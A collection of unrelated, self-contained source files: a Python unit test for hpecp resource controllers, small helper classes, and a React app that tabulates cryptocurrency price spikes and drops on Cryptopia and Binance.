# OTHER DEALINGS IN THE SOFTWARE.
import unittest
from hpecp.base_resource import (
AbstractResourceController,
AbstractWaitableResourceController,
)
from hpecp.client import ContainerPlatformClient
class TestBaseResource(unittest.TestCase):
def test_getters_and_setters(self):
client = ContainerPlatformClient(
username="test",
password="test",
api_host="test",
api_port=8080,
use_ssl=True,
verify_ssl=True,
warn_ssl=True,
)
class ImplClass(AbstractResourceController):
base_resource_path = "abc"
resource_class = "abc"
resource_list_path = "abc"
c = ImplClass(client)
c._set_base_resource_path("test_base_resource_path")
c._set_resource_class("test_resource_class")
c._set_resource_list_path("test_resource_list_path")
self.assertEqual(
c._get_base_resource_path(), "test_base_resource_path"
)
self.assertEqual(c._get_resource_class(), "test_resource_class")
self.assertEqual(
c._get_resource_list_path(), "test_resource_list_path"
)
class ImplWaitClass(AbstractWaitableResourceController):
status_class = "abc"
status_fieldname = "abc"
base_resource_path = "abc"
resource_class = "abc"
resource_list_path = "abc"
c = ImplWaitClass(client)
c._set_status_class("test_status_class")
c._set_status_fieldname("test_status_fieldname")
self.assertEqual(c._get_status_class(), "test_status_class")
self.assertEqual(c._get_status_fieldname(), "test_status_fieldname")
|
from html_generators import add_to_source # type: ignore[import]
if __name__ == "__main__":
add_to_source.add_source_to_file()
|
class ApiResponse:
def __init__(self, data):
self.success = data['success']
self.data = data['data']
|
class CaseData:
"""
A test case.
Attributes
----------
selector : :class:`.Selector`
The selector to test.
population : :class:`tuple` of :class:`.MoleculeRecord`
The population from which batches are selected.
selected : :class:`tuple` of :class:`.Batch`
The batches which should be selected.
"""
def __init__(self, selector, population, selected):
"""
Initialize a :class:`.CaseData` instance.
Parameters
----------
selector : :class:`.Selector`
The selector to test.
population : :class:`tuple` of :class:`.MoleculeRecord`
The population from which batches are selected.
selected : :class:`tuple` of :class:`.Batch`
The batches which should be selected.
"""
self.selector = selector
self.population = population
self.selected = selected
|
import React, { Component } from 'react';
import ReactTable from 'react-table';
import numeral from 'numeral';
import 'react-table/react-table.css';
import './App.css';
import { getAccountBuilders as binanceAccountBuilders } from './binance/accountbuilder';
import { getAccountBuilders } from './cryptopia/accountbuilder';
class App extends Component {
constructor(props) {
super(props);
this.state = {
exchange: 'Cryptopia'
};
}
async componentWillMount() {
if (window.location.search.indexOf('BINA') !== -1) {
this.setState({
exchange: 'Binance'
});
binanceAccountBuilders().then(this.setStateStats.bind(this));
} else {
getAccountBuilders().then(this.setStateStats.bind(this));
}
}
setStateStats(results) {
this.setState(state => {
return {
...state,
stats: results
};
});
}
columns = [
{
Header: 'Pair',
accessor: 'label'
},
{
Header: 'Average Bounce',
accessor: 'hour.averageBounce',
sortMethod: (a, b) => {
return parseInt(a, 10) - parseInt(b, 10);
},
filterMethod: this.greaterThanFilter
},
{
Header: 'Volume',
accessor: 'volume',
filterMethod: this.greaterThanFilter,
sortMethod: this.sortForceNumber
},
{
Header: 'Spikes',
id: 'spikes',
accessor: price => price.hour.spikes.length,
filterMethod: this.greaterThanFilter
},
{
Header: 'Drops',
id: 'drops',
accessor: price => price.hour.drops.length,
filterMethod: this.greaterThanFilter
},
{
Header: 'Last Price (sat)',
accessor: 'last',
id: 'lastSat',
filterMethod: this.greaterThanFilterSatoshi,
sortMethod: this.sortForceNumber,
Cell: this.satoshiFormat
},
{
Header: 'Last Price (btc)',
accessor: 'last',
id: 'lastBtc',
sortMethod: this.sortForceNumber,
filterMethod: this.greaterThanFilter
},
{
Header: 'Low Price (sat)',
accessor: 'low',
id: 'lowSat',
filterMethod: this.greaterThanFilterSatoshi,
sortMethod: this.sortForceNumber,
Cell: this.satoshiFormat
},
{
Header: 'Low Price (btc)',
accessor: 'low',
id: 'lowBtc',
sortMethod: this.sortForceNumber,
filterMethod: this.greaterThanFilter
},
{
Header: 'High Price (sat)',
accessor: 'high',
id: 'highSat',
filterMethod: this.greaterThanFilterSatoshi,
sortMethod: this.sortForceNumber,
Cell: this.satoshiFormat
},
{
Header: 'High Price (btc)',
accessor: 'high',
id: 'highBtc',
sortMethod: this.sortForceNumber,
filterMethod: this.greaterThanFilter
}
];
satoshiFormat(row) {
return (
<span style={{ display: 'block', textAlign: 'right' }}>
{numeral(Math.floor(row.value * 100000000)).format('0,0')} sat
</span>
);
}
greaterThanFilter(filter, row) {
if (!filter.value) {
return true;
}
if (parseFloat(row[filter.id]) > filter.value) {
return true;
}
}
greaterThanFilterSatoshi(filter, row) {
if (!filter.value) {
return true;
}
if (parseInt(row[filter.id] * 100000000, 10) > filter.value) {
return true;
}
}
sortForceNumber(a, b) {
return parseFloat(a) - parseFloat(b);
}
render() {
return (
<div className="App">
<header className="App-header">
<h1>{this.state.exchange} Account Builder Finder</h1>
</header>
{this.state.exchange !== 'Binance' && (
<p>
<a href="?exchange=BINA">Binance Account Builders</a>
</p>
)}
{this.state.stats && (
<div>
<h2>Hourly Candles</h2>
<ReactTable
filterable
data={this.state.stats}
columns={this.columns}
/>
<h2>Daily Candles</h2>
<ReactTable
filterable
data={this.state.stats}
columns={this.columns}
/>
</div>
)}
{!this.state.stats && <p>Loading...</p>}
<h2>Notes:</h2>
<ul>
<li>
Spikes are 10% greater than opening price of candles
</li>
<li>Drops are 10% less than opening price of candles</li>
<li>
Spike and Drop counters are the amount of times a candle
exceeds the 10% threshold within the data set
</li>
<li>
Shift clicking column headers allows sorting of multiple
columns
</li>
<li>
Number filters work on a greater than way. So, entering
3 will only display any result greater than 3
</li>
</ul>
<h3>Donations can go here: </h3>
<ul>
<li>BTC: 1N3AV4c39ptt8uYxkuPZqC2CMjofLNnpgc</li>
<li>ETH: 0xe88eee1386e8fa09d17ad7cbb736c09c28dbe4f7</li>
<li>LTC: LhEGzB7Qbk3z2c53ERodhhVXhZhfNJziRY</li>
<li>
XRP: rEb8TK3gBgk5auZkwc6sHnwrGVJH8DuaLh Tag: 106071489
</li>
</ul>
</div>
);
}
}
export default App;
|